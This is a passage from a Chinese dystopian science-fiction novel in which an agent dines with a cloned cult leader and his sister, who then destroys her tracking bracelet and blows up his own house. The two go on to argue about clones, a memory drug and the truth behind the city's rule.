矮个子的呼吸很急促,人躺在地上忍不住呻/吟。
“他需要尽快送医,当然你也是,所以我建议我们都坦诚一点。”我把枪口压在他的头顶,迫使他偏头,“你们想要什么?”
高个子脸色扭曲,咬着牙关,不肯张嘴。
我无奈地叹气,左脚用力,压进对方伤口,算是止血:“我个人不想在上层杀人,但管理局可以理解我的不得已。”
身下人低声呜咽一声,不知道是读出了我的言外之意,还是因为疼痛,脸色更扭曲了。我冲他偏头挑眉,示意他早些说能早些结束。
“——证据。”他终于开口了,声音有些变调,“第二世界的证据。”
我把枪口拿开了些:“谁想要?”
他明显松了一口气:“摄政。”
“原来你们首领是这个外号。”我忍不住要笑出来了,“名字?”
"……不知道。"他有些慌张,生怕我因为这句话大发雷霆,“我们都不知道他们的名字,只有称号。”
我当然不会大发雷霆,放下腿,收回枪,抓住对方试图控制我左腿的手,向上抬起,迫使对方伸直手臂,略微转身蓄力,用膝盖顶击对方手肘处,控制力道让对方脱臼。
看着对方整个人蜷缩在地上,我无奈地叹气,在手环上操作,给管理局发消息:两位组织袭击者。
我低头看看在地上挣扎的高个子,又看看不远处没力气爬起来的矮个子,低头继续去写:已基础止血,请及时送医。
我把他们身上所有攻击性装备拆除,互相绑在他们的车旁。
最后,翻出后备箱的备用医疗箱,我简单处理他俩,确保两人能撑完修复舱的治疗流程,回头拿出车里的清洁布,擦掉爱车上的血迹。
高个子在我背后怨念似的问我:“你到底是什么人?”
管理局的两台无人机即将到位,自带的强光照亮了周围区域。
我转头冲他一笑,压低声音:“你们曾带回来的怪物。”
说完我拉开车门,在高个子困惑而震惊的眼神里扬长而去。
说真的,装一把大的真的好爽。我长舒一口气。管理局会替我善后的,在下层也只需要联系专门的清理小组就行了。
鉴于高个子诚实地回答了我的问题,我也诚实地回答了他的问题——尽管是我的猜测,但我的猜测往往准确率高达百分之八十。
拐出车库,刚好撞上下班高峰期。我手动开上大路,开了自动巡航去姚渊给的坐标。
这个下午终于结束了。我伸了个懒腰,把手枪弹夹补满。我总有种不好的预感,姚渊那么高调的动作,似乎预示着要给我找一个很大的麻烦。
不论如何,姚渊这一顿饭最好真的值得我伤了三个人,还把组织的车溜了整整一下午。
停在坐标附近的马路边上,我下了车,环视周围。天已经擦黑,太阳已经落入地平线下,东方的平线上已经隐约可见模糊的光点。
这条路没什么车经过,每家门口的车位几乎都停满了。这里是居民区,都是独栋别墅,地方不大,但胜在清净。见缝插针地种了不少植被,我的车就停在树林一边,对面就是坐标标识处。
无人机在居民区密度远不及市中心,中间的巡逻间隔三小时左右,毕竟大多数高层管理局员工喜欢这种清净地,犯事的更少,乐于助人的更多。
姚渊选择这里也不意外,但也是真不怕我对他家里人动手。
想到这里我忽然有点恶寒。对无辜者动手,那真是下作中的下作。
低头看了眼时间,19点29。我打算等时间凑个整再去敲门,靠在副驾驶一侧的门边等待,观察起对面的门前草坪。
尽管我不喜欢养花弄草,但跟着母亲耳濡目染了那么多年,绝大多数园林植物都能一眼看出来。
不得不说,这家的前院看起来实在是太普通了。最常见省事的草坪品种,灌木也选择的基础款,除了一片平整养眼的绿,其他什么都没有了。
我又想起我的双色月季。母亲把它们照顾得太好了,也太爱我了。要是我没有买那些月季,母亲是不是就不会觉得吴潍不是她的女儿了?
看着时间跳到31,我隐晦地叹气,穿过马路和平整的前院,摁响了这户人家的门铃。
来开门的,是个看起来刚成年左右的妹妹,她眼睛亮亮地看着我,谨慎而好奇地确认我的身份:“你是哥哥的客人吗?他说你会准时到!真的好准时!”
眉眼和姚渊有几分相似,看起来确实有几分血缘关系。
演练好的一切挖苦和讽刺,全都被她的活力和轻快压了回去,我不自在地后退半步,却被她看出来,一把拉进门。
“哥哥说你是移民,不习惯这种环境。”眼前的妹妹递给我一双鞋套,招呼我进门,“现在除了几个大城市,日子都不好过呢。”
我想开口问姚渊人呢,最后一句话都说不出来。手不是手脚不是脚地穿好鞋套,下意识地揽好风衣,把腰间的装备遮住。
姚渊的妹妹似乎还在说什么,但我的注意力被鞋柜上的合照吸引过去了。
照片上的姚渊穿着城市执行官制服,看起来很年轻,对着镜头真心实意地笑着,抱着哭成花脸还强颜欢笑的五六岁女孩。
“啊!”妹妹猛然伸手把合照摁倒,整个人肉眼可见地红了起来,“那时候太小了,一听见要很久见不到哥哥,就哭得伤心,这都过去十几年了。”
我忍不住放下几分戒心:“我只是在想,你们关系很好。”
“咳嗯,忘
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记自我介绍了。”眼前的妹妹一边领路到客厅,一边转移话题,“我叫姚瑎,是姚渊的妹妹。哥哥这会还在路上,我再去催催他。”
说完,姚瑎蹦蹦跳跳地找了个角落给姚渊打电话。我都来不及说话,只好按照她的示意坐在沙发上。
姚渊,也许是姚瑎,家里的布置和我印象中的完全不一样。在我认识里,姚渊的那股子“自恋”又“低调装”的气质应该配个黑白灰,再不济也应该是冷性的科技风,但都不是。
灰调白的底色配合浅天蓝的线光,不采用重色家具,基本都是各种明度不同的家具组合,偶尔会用棕色强调空间分割处。像是踏进了不着调的天空之城,仿佛房主在极力摆脱现实的存在一般。
“姚瑎——”
门口的姚渊拉长了声音,我更是想找地方躲都没空间。
苍天啊,如果你要惩罚我的闭口不谈,你应该让我被姚渊再揍两顿,而不是像个突然闯进儿童游乐园的单身大人一样尴尬。
这是报复吗?我试图转移注意力地想着。要是当年我没有成功处理姚渊的话,会不会不那么尴尬?
“我跟你说过我在路上。”姚渊提着东西进门,视线和我相接,很熟似的点头,又去对姚瑎说话,“你已经打了三个电话了,我不接还不能说明问题吗?”
姚瑎纯粹把姚渊的话当耳边风,做鬼脸吐舌头,拿过他手里的袋子进到厨房。
我想说什么,看了看姚瑎整理冰箱的身影,最后只能不咸不谈地挑一句不那么尴尬的:“晚上好。”
“‘烟花’好看吗?”姚渊开了电视当背景音,没接我的问好,“可花了我大价钱。”
我压住冷笑的冲动:“好看。我这一下午也很精彩。”
姚渊笑了一声,目光落在我的腰间,转而坐在我身边,拉下茶几的暗格:“相信我,配得上你的奔波。”
看着暗格里熟悉的手枪制式,我犹豫几秒,最后还是卸下腰包放进去。当他面敲了敲手环,我有几分无语:“三个小时就得回本。”
“我还没跟你提最有意思的呢。”他语气里是镇定自若,推上暗格扣好,重新起身向厨房走去,“姚瑎,少喝点汽水,你今天已经开了两罐了。”
我也是真傻,自己主动放进这种诡异的温情家庭时光,站起身去关注周围的环境细节。
有很多显然是从小放到大的摆件。
木质的拼装现代枪摆在显眼的电视柜上,边缘磨损光滑,和接口处的锋利边缘有完整的过渡;旁边有一个花瓶,插着两朵彩色的绣球,花瓶的换水时间显示是昨天换的;还有一个果盘,里面放着各种味道的糖果,剩下的多是草莓味,不知道是喜欢吃还是不喜欢吃……
这种小细节很难伪装出来。我下意识地想去检查抽屉,但最后还是忍住了。姚渊向我暴露自己的家庭坐标,跟管理局自首和组织关联很深没区别。
为什么?我绕过客厅,靠在厨房门口,看着姚渊指使着姚瑎装盘。姚渊想要做什么?总不能就是为了展示他的温馨家庭日常,啧,不会在勾起我对吴潍的嫉妒吧?
这个话题已经过去了。我想着。叶琦已经干过这种事了,姚渊这么干只能算补全空集。
也许是我没控制住嫌弃又无语的表情,姚瑎顺势用牙签插了块桃子,递到我嘴边:“姐姐不要着急,我哥就这样分不清轻重缓急。”
“什——”我刚想解释,但被她塞了满嘴,最后只能把话和桃子一起咽下去。
姐姐?吴潍还没喊上的“姐姐”怎么被她喊上了。
我匪夷所思地转身离开是非之地,不知道是哪个想法让我觉得更惊悚。像幽灵似的游荡半天,低头一看才过去十五分钟。
姚瑎把我推到饭桌前,我真是如蒙大赦。
一些家常话题,胡编乱造配合真心实意地话语可以解决百分之九十九,至于剩下的百分之一,今天真是被姚瑎问上了。
“你和我哥怎么认识的?”姚瑎托着下巴,满脸八卦地问,“我哥今天才提到你会来家里吃饭,我真的很惊讶。”
姚渊没打算回答,眼观鼻鼻观心,用沉默表示把“胡编乱造权”全权交付给我。
我在心里叹气,挑了个万用回答:“同事而已。”
“Wined只是帮我一个忙。”姚渊给姚瑎夹菜,示意她赶紧吃不要问,“别想太多。”
“真的吗?”姚瑎不甘心地追问,非要问出点想要的似的,“哥,你什么时候工作上的事会在家里求人?而且你都退役了,管理局还会找你吗?”
“正常退役的城市执行官很少。”我对姚瑎说,看着她眼里的崇拜变成星星眼,“绝大多数人都会患上心理疾病,你哥是个奇迹,给新兵做做辅导也正常。”
“也没有啦。”姚瑎摸着下巴回忆,“刚退役那两年脾气可坏了,天天喊我不是他妹妹,之后就好了。”
17. 无法言明的聚首
后面好了是因为你哥参加人类异常信仰组织了,还是核心成员。撇开极端手段不谈,组织在这方面确实是“神医妙手”。
这个时间点其实有些敏感,但姚渊没什么反应,甚至问我要不要盛饭。
我有些无力地摇头,真不知道他葫芦里卖的什么药。
挨过了气氛温和但话题诡异的一顿饭,姚渊就把姚瑎打发去楼上卧室。我抬手看时间,20点30,又放下去,去端着我剩下的半杯水。
“还有两个小时,姚渊。”我看着他坐在单独的沙发上,“我其实没有那么多时间。”
姚渊倒是不信我的说法:“我是你唯一的线索,和平一点的方式对我们都好。”
没法反驳。我终于能重新捡起被姚瑎压下去的一大片尖酸刻薄,舒舒服服靠在沙发背上:“几百万的烟花说炸就炸?真看得起我的身价,姚总督。”
最后三个字我压低声音,姚瑎要是听到并不是好事,但有电视作为背景音,这种担心不算必要。
“组织不差那点钱。”姚渊的手指敲敲沙发扶手,觉得这部分不值一提,“我知道你的性格,那我直接切入主题。”
姚渊用手环展示给我一份记录,似乎是异常信仰组织内部的文件。我示意他发给我,他用着“你觉得呢”的表情拒绝了我。
也是,就这宁愿炸“汽车烟花”都不愿意发坐标的劲,更不会发文件给我。我只好“屈尊降贵”地移动到扶手边,探头去看。
确实是组织内部文件。我快速扫完文件,提炼出重点。
A剂注射,姚渊的死亡确认书,A剂保存,B剂使用,姚渊“复活”。文件的时间点和药剂名称全部被抹去,只留下语焉不详的重点。
“你是复制体。”我终于可以肯定这个事实,但他关于我的记忆还是没法解释,“A剂和B剂是什么?”
姚渊收回手环,回答我:“是LEA,组织主要制作的和给你用的都是LEA的B剂。”
我本想记录在手环上,但看着当事人一脸“你要是说出去我们就再打一架”的表情,惺惺收回手,接着问:“那A剂呢?”
“那是订货人提供的。”姚渊诚实回答,“如果你要确切答案,你就去问务实派的人。”
那意思就是说:我们的目标都是所谓“务实派”的人。
我摸着下巴思考着,看一眼暂时乖乖等着我问话姚渊,决定主动提起:“你想从我这里得到什么?除了你一直问的,其他我都可以回答你。”
“我知道。”姚渊习惯我对真相闭口不谈,“十年前的案件,你对我做了什么,不,我做了什么?”
这个问题太奇怪了。我忍不住去问他:“你不记得案件,你这么会记得我?”
姚渊看着我像是在看脑子不清醒的人:“我注射过LEA。因为那份LEA来自于我,或者说,曾经的我,记忆和情绪会更强烈一点。”
我下意识去问他:“你怎么会确认那是你的记忆,而不是别人的嫁接?”
姚渊陷入思考,似乎在斟酌语句:“你会觉得叶琦那部分记忆是你吗?而且LEA需要提供者的血液样本,组织给过我一份完全匹配的报告。”
这倒是,叶琦的记忆很明显和自身认知是不一样的。我没法给姚渊的这句话给出反例。这种感觉就像是看已出版的自传,自己写的跟别人写的版本区别很明显。
“然后你就上了贼船?”我扶额,有些无语地说出真心话,“异常组织又不是好东西——”
姚渊面不改色,明显地清清嗓子,示意“不是好东西”的组织总督还在我面前。
我迅速摊手投降,转移话题:“那你还记得什么?”
“怎么?”他的语气里有几分嘲讽,“你要我说出来给你,你再以此编造一个逻辑合理故事吗?”
我知道他在说我对吴潍隐瞒了叶琦在组织里的实际经历,也改了十年前报告的复印件,不然吴潍一定会想办法联系他。
吴潍只是忘记了全部案件经过,不是忘记了叶琦到底是个怎样的人。
叶琦如果背叛了曾经的自己,加入了组织,那么吴潍绝对会对组织有极大的怀疑,更何况她的母亲也是组织成员。
而她作为LEA“销冠”,见见“老板”顺理成章。
“啧,我没有修改任何事实。”我不满地指出,“你要是想听,我就说我知道的版本。”
姚渊对我的前一句话留下一个意味深长的眼神,没有彻底揭穿我。
话题还需要继续,我换了个适合讲故事的姿势,端起手边的水杯:“那份报告交上去被拒绝之后,我跟管理局做了个交易,管理局要求我处理叶琦给出的潜在首领名单,我做完了,于是我离开了。”
姚渊有些无语:“你不觉得你跳过了很多重要环节吗?”
确实,但我跳过的部分都是和真相有关的重点事件,而且我也没有用谎言搪塞他,已经拿出最大的诚意了。我耸肩,拒绝回复这个质疑。
他知道从我嘴里问不出更多,转而又开始戳我痛点:“且不说你和管理局做了什么交易,叶琦给你的名单你就不怕处理错人?”
怎么说呢?组织选择姚渊做“精神领袖”其实相当程度上有道理,可惜我不怎么吃这一套。
我握着杯子,摩挲着杯口,语气平淡:“从管理局看,从我的角度看,十年前的组织里没有人是无辜的。”
“你就怎么催眠自己吧。”他一针见血,对我的逃避习以为常,“组织为什么会有我的A剂?”
“我不知道。”不在乎他的前一句话,我回答他,“当年的案子里,我查到的部分没有出现药剂,除了组织里那个‘怪物’。我带回去的样本里,队里的技术员认为存在人造化合物,但还没有结论,我就被‘调职’了。”
看着他陷入短暂的回忆,我又坦诚地补上一句:“所以我选择从你们入手,而不是去调查管理局。”
姚渊的眼睛眯了眯,没有对我的真实目的做出评价,也许是根本不在意。
“怪物?”他结束回忆,“组织里似乎没有这么个实体物件。”
我叹了一口气:“肯定有,只是你不知道。你作为精神领袖,怎么一问三不知?”
“要不然我怎么会选择和你合作?”姚渊倒是接受良好,“LEA的记忆集中在你追杀核心组织成员时期,你确实没有说谎。”
“亏你还能那么冷静地坐下来和我谈。”我有些不自在地交叠双手,“那是我当时唯一的出路。”
简单来说,那时候的我,整个人精神状态就在崩溃边缘,全凭一口“不想被管理局牵着走”的反叛心理撑下去。
同时追杀名单给出的十来个人,最后半个月内几乎全部解决了,这种记录除了非人类的生命维护执行官,我现在都做不到——现在也是管理局“珍爱”我的论据之一。
姚渊摸不清感情地笑一声:“那只是一部分。更大的一部分是‘我想要真相’。那个‘我’在被你处理的时候,想的还是真相。”
我张了张嘴,想说很多话,或许是辩解,或许是承认自己的自私,最后我能给出的只有沉默。
我想到了叶琦握着我的手向我询问、祈求一个真相,但我不能,做不到。
如今说出来,那我过去的十年算什么?推着无休无止的,名为“真相”的巨石,我近乎自残地折磨着自己,就只了巨石不往下滚落,从而毁掉整个城市。
“那你呢?”我问他,“那撇开那段记忆的你,想要知道吗?”
“当然。”姚渊回答得不假思索,语气里简直有几分虔诚,“为了真相,我可以下地狱。”
“你可以,但别人不一定。”我把杯子里的水彻底喝掉,重重放在茶几上,给我的观点营造一份毋庸置疑的气氛,“你是城市执行官,城外什么样你最清楚。真相只会让所有人都去面对你曾经的生活,也就是说,你为这座城市的付出,将一文不值。”
我不需要说太多,所有人都知道这个事实:大城市内的居民平均寿命能达到135岁,而非城市的幸存者,只有75岁。
姚渊忽然沉默了。我不知道他在想什么,但他想了很久,久到我准备自己去解茶几底下的暗格,再拿走自己的装备。
他终于说话了:“第二世界,是假的?”
我暂时扔下拿装备的冲动,认真而近乎叹息似的回答他:“组织所认为的第二世界,是假的。”
姚渊听完我的定义,什么都没说,起身打开了暗格,把装备递给我,自己拿出底下的枪装备好。
这是信了还是没信?我没有否认“第二世界”的存在,姚渊想要的真相还没全捅出来呢。
“你要做什么?”我直觉到一丝不妙,拉着他的手腕,迫使他回答我,“我之前就很奇怪,你为什么要暴露向我家庭住址?这跟向管理局自投罗网没区别。”
姚渊没有甩开我的手,语气里有我熟悉和不熟悉的部分:“你觉得我是变量吗?”
熟悉的台词,但姚渊不会监听我的对话,否则不至于放个几百万的“烟花”。思考片刻,我还是放手,戴上腰包,看着他空手上楼。
姚瑎跟着姚渊下楼,开开心心地准备出门。
我看着姚渊一脸轻松和略微的不舍,直觉让我背后一阵凉意。虽然不知道姚渊到底要干什么,但是他明显在等我跟上。
刚刚的对话已经建立起了基本的信任关系和隐晦的合作关系,各取所
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需。
姚渊没有在这里加害我的理由。
“不一起出去走走吗?”姚瑎拉着我的手腕,“哥哥说今天有流星,难得一见,姐姐也得跟上。”
这时候看什么流星?我心下的疑虑越来越重。但这是拒绝不了的邀请。
姚渊靠在门口,脸上的表情是意料之中,似乎喜欢看我被无辜又天真的角色影响得手足无措。
没有反抗的余地,我撑着墙壁摘下鞋套,准备跨出姚渊家门。
姚渊抓住机会,从身后抓住我的左手手腕,手枪对准我的手环。来不及去想这个举动到底有什么意义,我几乎是下意识地抬起右手,用力向后肘击。
身后的人闷哼一声,硬抗我的攻击,但没有试图预判阻拦我的下一步动作。
不是姚渊的风格,他绝不会用这种方式暴露人体弱点。心念一动,我这才注意到,他想要目标就只有手环。
我迅速翻身,准备去控制他的枪口,但我已经错失了最好的机会。几乎是枪响击碎手环的瞬间,不知道是谁引爆了在家里的炸药。
手腕的灼痛和席卷身后的热浪,都等不了我的任何反应。姚瑎远远地站在我的车边,关掉自己的手环,冲我们招手。姚渊好心地避开我的手腕,拉过我的手肘,迫使我踉跄着跟上他的步伐。
现在好了,我在管理局眼里又叛逃了。
我以为我跟姚渊还在谈判桌上,但姚渊,这个疯子,直接掀了谈判桌,迫使我不得不先行动后思考,打乱了我一切潜在的计划。
开着自己的老古董颠簸在路上,我对着副驾驶的男人失态地怒吼着:“操!你是不是炸上瘾了?自己家也炸?”
始作俑者全盘接受我的怒火,甚至还有心情探查一番我的副驾驶储物箱:“吴队,你的身价超过千万了。”
“不准那么喊我!”我在爆炸的声浪中得扯着嗓子喊才能听见自己说话,“姚渊,你个疯子!”
“姐姐,别那么生气。”后座的姚瑎搭在前排座位中间,用着天真的语气,“哥哥都计算好了,炸得漂亮又不会伤亡,只是贵了一点的烟花。”
这么有钱要不打到我账上?听着姚瑎的“安慰”,我更是一个头两个大。
姚瑎似乎对姚渊的行为没有任何意见,仿佛觉得只要跟哥哥在一起,就没有跨不过去的坎。但在我看来,是姚渊作为“精神领袖”顺手把他妹妹也“洗脑”了。
我感觉我下辈子看见姓姚的都心有余悸。
“一帮有病的。”我看着后视镜里红色的蘑菇云逐渐翻卷成黑色烟雾,“去哪?!说话!”
姚渊存心跟我对着干,保持高贵矜持地沉默,在自动巡航里输了个坐标,随后又去研究起我的爱车空间。
我总算是能空出手试图去牵制疯子代表:“姚渊,你到底在想什么?!”
“你有手环进不去组织。”姚渊完全没躲我的攻击,被我压在门板上,说得慢条斯理,“而且你在管理局眼里属于失踪。等两天把我们的活做完了,再回去纠结你的复制体人生。”
“你根本没搞清楚状况!”我确实是有些崩溃,情绪上头颇有些不择言语,“管理局会处理吴潍!”
姚渊的表情是真心实意的困惑,适度地挣扎一番,试图拉住我的手,让我冷静一下。
姚瑎怜爱地伸手拍了拍哥哥的肩膀,退回后座补觉。
我放开姚渊,摸着左手手腕的火药灼伤,试图从这件事情里理出一个可行性方案:“吴潍她不知道,我本来永远不会回来的。”
姚渊调整坐姿,沉默了一会:“吴潍不知道自己是复制体?”
“你不知道?”我尽管无语到想不走楼梯也不坐电梯地从吴潍公寓下楼直达公路,但还是下意识地开始捋逻辑,“那你给那份文件的意义在哪里?”
“钓鱼。”姚渊的语气里有几分理直气壮,“其实这是叶琦提出的。她当年是其次接近真相的人,比我们任何人都清楚‘吴队’应该是什么样。”
文件就只是一重验证。
验证我,又或者是吴潍,谁知道当年案件查到底是什么真相,谁就一定会主动接触组织——真正的“吴队”选择了保护这个秘密,并为此失踪了十年,绝不会赌真相泄露的可能。
叶琦,连死后都想找到她眼里的真正挚友。
姚渊只是想要其中一个人联系他而已。他的重点是“第二世界”,也是控制LEA规模;引入的人有记忆最好,没记忆依然可以提供助力。至于叶琦,从头到尾都只是被组织利用的一方。
我想说什么,但我最后没有力气说话,暂时关掉自动巡航,猛打方向盘,停在无人机死角。
姚渊拉住想要下车的我:“你要去做什么?”
18. 无法言明的聚首
我深呼吸,压下混乱的思绪和愤怒的情绪,只能先解决最优先问题。甩开姚渊牵着的手,我语气不善:“去收拾你给我留下的烂摊子。”
姚渊没有再说什么,也没有对我把他和妹妹丢在车上的行为做出异议,但看着我的表情有几分“欣赏”的意外。
走了两步,又觉得一口气郁结于心,转身给了姚渊一个中指。始作俑者毫无愧疚之意,甚至对着我比了个招呼,明目张胆地拿起我的平板,开始尝试破解。
姚渊肯定抓住机会翻我的文件。我默许了他的这个行为,因为他只能翻到我对余殷数字和吴潍密语的思考过程。
想找到“第二世界”到底是什么?那就只能进我的脑子里去看了。
无药可救的疯子。我愤恨地转身离去,至少能暂时一个人待着整理思绪也是好事。
深呼吸,我收敛好情绪,重新翻找起落在心里的那份怪异。
姚渊似乎对真相的理解和我对“真相”的理解有些错位。
他的最终目标是收缩,甚至是铲除LEA走私链,并不是组织本身,也正因如此,他的重点在十年前的案件。
他想知道是:为什么如今的组织和他记忆里的“互助会”性质完全不同,为什么原型姚渊死前还在认为现在“敛财”的组织是救赎。
现在的姚渊,似乎没有意识到“第二世界”的模糊解释权是组织的维系根本,也是LEA能够有买家的根本原因。
但他是姚渊,是我在那份名单上划去的最后一个名字。不管是作为城市执行官指挥官,还是作为人类异常信仰总督,他这个人绝不会想不到这一点。
说到底,他想要的真相其实是案件本身,而不是证明组织的“第二世界”到底是什么东西。
也就是说,他其实不知道十年前的案件和“第二世界”直接相关。
我忽然有些深沉的无力。换做别的案件,我能有一百个方案让姚渊获得他想要的答案,并且不影响我对城市真相的保护。
但,这份案件是“第一次人类异常信仰案件”,是直面管理局生物复制体存在,甚至第二世界真相的真相入口,无论如何都避不开。
质疑亲人被人替代而无人理解的他们自发组建了互助会。但最要命的是,他们的质疑有可能是对的。
这才是组织最危险,最想拆而不能拆的炸弹。
我不会后悔我处理掉的核心成员,他们确实带着底下的成员走向毁灭。
并且,在我看来,这个组织的初衷算是正常,他们本身也并非负面组织,而管理局对组织采取的行为,就是对一批求真求知者的讨伐与剿灭。
但管理局否决了我的提案在先,又用我无法忍受的手段,把我变成了他们的清道夫,我没得选。
姚渊会理解我的苦衷吗?
我低头看看左手,手腕上的火药灼伤依然隐隐作痛。管理局用来定位和监视信息的左手手环,就这样被他报废了。
我头疼地扶额,把最棘手的事情先放在一边。
当务之急是想办法告诉管理局我还活着,不然管理局横竖要派执行官再去追杀吴潍。
吴潍是我的任务,我死了,或者是失踪,就等于任务失败,管理局自然会派别人去处理。
执行官远比一般的管理员要能打太多,我又不在吴潍身边,跟对她宣判“死刑立即执行”没区别。
远处的无人机聚集起来,开始封锁爆炸现场周围。
12个小时,姚渊整了两场无人伤亡的爆炸,高调而有莫名其妙的底线。我揽了揽身上的风衣,遮蔽腰间的武器。这下我总算知道,管理局为什么要下令把姚渊作为追加任务。
我觉得今天一整天都太魔幻了,我一个坚定的唯物主义者终于要变成虚无主义者了。
城市管理员会在十分钟内到达现场。
因为我的定位在爆炸时同时消失,所以会是核心管理层指派的亲自调查。只要我向管理局证明我还活着,就不用担心紧跟在后面的烂摊子,也不用担心无人机会直接拦截我的车。
我没时间想太多,走向城市医院分部。因为突如其来的居民区爆炸,整个大厅集结了一队训练有素的队伍。
顺着那支小队的来路,我没费什么劲就找到了“员工专用”通道。似曾相识的,又有人想来拦我,我继续无视他们。
雷厉风行地把高权限限制的电梯坐了个来回,最后低调而迅速地原路出去。利用美瞳留下越权记录,向管理局证明我还活着,这是我为数不多不会反感管理局的好处。
只能说幸好,姚渊觉得我的美瞳不是管理局的手笔,不然连带着有权限认证的美瞳都拿走,那我是彻底无计可施了。得连夜开往管理局大门口“哐哐”砸门证明自己没死,事情才有转机。
走出医院门,无人机从我头顶上停滞几秒,似乎在验证我是否符合现场逃逸人员特征。
我无视了它,权当是为我打的聚光灯,在走到一半的时候,无人机一无所获,离开了。
拉开车门入座,本想甩上车门为我的质问留出不怒自威的气势,但我还是舍不得我的爱车受苦。
讲道理,它今天挨了十几发子弹,又沾了人血,还被爆炸火焰追着车屁股跑,它不喊疼也就是它没长嘴,我快心疼死了。
“姐姐,你怎么做到的?”姚瑎睡一半意识到车停了,又趴在椅背上看我,“那个无人机无视了你。”
我看着一无所获,也不打算遮掩的姚渊嘲讽一笑:“身价千万,得让你哥物有所值。”
姚渊关掉我的平板,往后递给姚瑎示意她收好,没理会我的嘲讽,对我若有所思地说:“你平板上没什么信息,你真的只把信息放在手环里?”
“我真想再杀你一次。”我无视了姚渊的问题,打开自动巡航,头一回觉得我的车里坐不下这么多人。
再次上了我暗杀名单的男人平静地指出事实:“你把心里话说出来了。”
“没有。”我向后伸手,示意姚瑎递给我后座的备用医疗箱,平静且坚定地回答姚渊,“这是短期目标。”
姚渊毫不在意:“拭目以待。”
这一通闹剧已经发生了,再崩溃懊恼也无济于事,我开始解决眼下的问题,用消毒喷雾去清理左腕的灼伤,用棉球清理掉残留的火药异物,最后把左手和绷带一起递给姚渊。
“大少爷,满意了吗?”我看着姚渊熟练地在我手腕上打出一个漂亮的结,“一千万换一个有管理局所有权限,比你都能打的,还不被管理局监控的秘密特工,你算是赚翻了。”
“比我能打那不见得。”姚渊接受了“高贵”的称呼,沉思片刻,“价格准确来说,是六百万加八百万,一共一千四百万,还不算我在地库的车和杂七杂八的生活用品。”
“你的‘汽车烟花’贪了不少吧?”我甩了甩左手,确认不怎么影响活动,“就这么炸了,你也不心疼?”
他又露出那种毫不在意而运筹帷幄的笑:“我是复制体,想要幸福无知地死,还是痛苦清醒地活,我替‘姚渊’选择后者。”
我有些说不出话。姚渊的声音一个字一个字地落在了车底上,砸得我有些不知所措。
他说:“吴队,你从来没给过我们选择。”
手放在方向盘上,我试图假装自己很忙没空回答,但姚渊并不打算放过我的任何细节。
姚瑎又躺回了后座,闭目养神。
那谁给过我选择?我倒是想把那个折磨了我十年的事实从脑子里挖出去,但管理局不同意,美其名曰“你具备超出基因组判别的潜力,我们不会对你的身体做任何人工修改”。
“你会和我做一样的选择。”我转头去和他对视,“真相、城市和自己,你已经把自己放在了最末位。我只是让你不痛苦而已。”
在追寻真相的路上,被一把烈火烧尽,都比被真相击穿而晦暗好。我真的这么觉得,我甚至有些羡慕叶琦。要是我直接在十年前的案子里死亡,被曾经的姚渊反杀成功,就不必再如此割裂我的内心。
“那就告诉我。”姚渊不避讳我的视线,“‘第二世界’到底是什么?为什么生物复制体会替代原型的社会关系?为什么——”
不知道自己是复制体的吴潍就问不出这个问题。我走神的一瞬间想着。不知道以后她是不是得把我杀了才解气。
“因为不该死而死了。”我收回思绪,平淡地回答他的第二个问题,“管理局选择的人类存续方式不完全是错的,我也因此保持了绝对沉默。”
姚渊沉默几秒,忽然指出一点:“Wined·Caster,你让步了。”
我握紧拳头准备再给他一拳,但硬生生忍住了,最后所有情绪化为一个往上看的白眼。
“理想和实现理想的路径是两回事。”姚渊不再试图从我的“釜底”再“抽薪”,最后惹火我,“人类异常信仰组织的存在,足以证明管理局的路径有问题,甚至是错的。”
我现在很想像电视剧里那种惆怅的主角,背负着沉痛的过去和失去搭档的PTSD的那种,掏出一支烟,在人造的烟雾滤镜中,故作高深地说一些晦涩的话。
但我不抽烟,只能用沉默铺垫气氛,最后回答他:“他们也没得选,姚渊。”
这是核战后四百年的废墟末世,这是这座城市选择的路线、屹立于此的基础。就算没有生命管理局,也会有下一个独裁政权,
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还未必有像现在这样的人人平等、人人富足。
不如睡下去,永远不要醒来。
姚渊总算是知道我和他在这点上完全说不通,转移了话题:“你知道你现在的表情像什么吗?”
我撇开视线,去检查剩余驾驶时间,懒得给他多余的视线。
“你在寻死。”姚渊的语气有我摸不清的情绪,“但你不得不一边活着,掐灭真相的线索;一边求死,巴不得死得其所。”
我冲他一笑:“姚总督,你说对了。务实派的走私线结束后,下一个就是你。”
“原来我确实是短期目标。”姚渊心满意足地打了个响指,“但你要想清楚,吴潍是我们组织的销冠,我联系她很轻松。”
操,姚渊的这两场爆炸炸出了我的最大软肋,他是赚翻了,我只能算回本。
压住情绪,我和他对话:“你怎么会有吴潍对我很重要的印象?”
姚渊偏了偏头,认真地剖析他不了解我的地方:“也许因为,我现在做的事很大程度上是‘姚渊’的遗志?”
我真心实意地笑一声:“你想多了。我的任务名单上,不仅有你,也有吴潍。我不杀的原因有且仅有你们还有利用价值。”
姚渊“啧”了一声,开始新一轮的围追堵截:“你接触吴潍是为了调查LEA走私线,既然你已经接触我了,吴潍对你来说,已经毫无意义了。”
“你以为只有你有‘吴潍PLANB’吗?”我关了自动巡航,手动停在坐标附近,趴在方向盘上,对着被我反将一军的组织总督揶揄,“你以为我真的在乎吴潍会知道真相吗?像‘我’这种多疑的人,一句话可不会说服我。”
姚渊盯着我看了几秒,认输似的轻笑一声:“姚瑎,我们该下车了。”
城市边缘,再直线往前三公里就是辐射区。我顺手带上我的行李包,锁好车,看着辐射区方向,忽然停了下来。
那是死一样的黑色,穿越辐射区需要沿着平坦大路直直开四个小时,更何况辐射区地形之复杂环境之恶劣,四个小时仅仅是理论。
辐射区是辽阔而死寂的区域。城市的防护罩并没有落地,它边缘落在半空中,反射着城市的光。远远看过去,是黑夜里一条细长的分割线。
分割线上是模糊的光点,分割线下是我记忆里的那种闪耀清晰的星星,但是极少极少,散落着,像是眨眼间就会消失的露水。
这是我停下的原因。
姚瑎本来跟在姚渊身后,发觉我停下脚步,转头拉过我的手:“姐姐,今天真的有流星,再磨蹭下去就没有时间了。”
我有些走神地回答她,借着姚瑎的力往前走:“我不想看它们坠落。”
“它们只是路过。”姚渊冷不丁插进话题,用磁卡进了一栋不起眼的建筑,“只是一场符合物理定律的、停不下来的奔跑。”
我没接话,跟着姚渊往建筑深处走。
偶尔会有奇怪的昆虫匆匆路过,我忍不住避开它们。
城市内部很少会有自由出现的昆虫,绝大多数人更喜欢看毛绒绒且小巧的生物,管理局也不会放太多不可控的生物存在。
但在城市边缘,这里就是自然的主场。建筑表面都爬满了在辐射酸雨中存活的植被。植被没有荧光,没有光滑可亲的外表,只有纯粹生存导向的结果。
